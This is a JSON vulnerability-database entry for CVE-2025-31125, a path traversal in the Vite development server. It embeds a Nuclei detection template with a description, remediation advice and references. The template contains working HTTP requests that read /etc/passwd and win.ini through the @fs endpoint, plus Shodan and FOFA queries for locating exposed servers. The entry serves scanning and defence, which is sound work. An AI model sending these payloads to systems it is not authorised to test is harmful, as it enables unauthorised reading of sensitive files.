{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-31125/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-31125/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-31125/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-31125/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-31125/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-31125"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-31125"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-31125.yaml",
    "nuclei_template_severity": "medium",
    "nuclei_template_yaml": "id: CVE-2025-31125\n\ninfo:\n  name: Vite Development Server - Path Traversal\n  author: martian,ritikchaddha,v2htw\n  severity: medium\n  description: |\n    Path traversal vulnerability in Vite development server's @fs endpoint allows attackers to access files outside the intended directory. When exposed to the network, attackers can exploit this via crafted URLs to access sensitive system files.\n  impact: |\n    Attackers can exploit path traversal in the @fs endpoint to access files outside the intended directory when the Vite dev server is exposed to the network, potentially reading sensitive system files.\n  remediation: |\n    Upgrade to the patched version or avoid exposing the Vite development server to the network (do not use --host flag or configure server.host); if upgrading is not immediately possible, implement access restrictions to the Vite development server\n  reference:\n    - https://github.com/vitejs/vite/issues/8498\n    - https://github.com/vitejs/vite/pull/8804\n    - https://github.com/vitejs/vite/pull/8979\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-31125\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2025-31125\n    epss-score: 0.58462\n    epss-percentile: 0.99057\n    cwe-id: CWE-200\n  metadata:\n    verified: true\n    max-requests: 4\n    shodan-query: title:\"Vite App\"\n    fofa-query: title=\"Vite App\"\n  tags: cve,cve2025,vite,lfi,vkev,vuln,kev\n\nhttp:\n  - raw:\n      - |\n        GET /@fs/C:/windows/win.ini?import&?inline=1.wasm?init HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /@fs/etc/passwd?import&?inline=1.wasm?init HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /@fs/../../../../../../../etc/passwd?import&?inline=1.wasm?init HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /@fs/%252e%252e/%252e%252e/%252e%252e/etc/passwd?import&?inline=1.wasm?init HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"data:application/octet-stream\"\n          - \"base64\"\n          - \"import init\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"text/javascript\"\n# digest: 4b0a00483046022100f45846edfb0ab97cef97e60e3c666417b1f568ad04e576490d8087c33ffdefcc022100a80928c4a04389cc33172363a491137da2f40ebe5acd824387bc261ccf2c86f0:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-31125"
}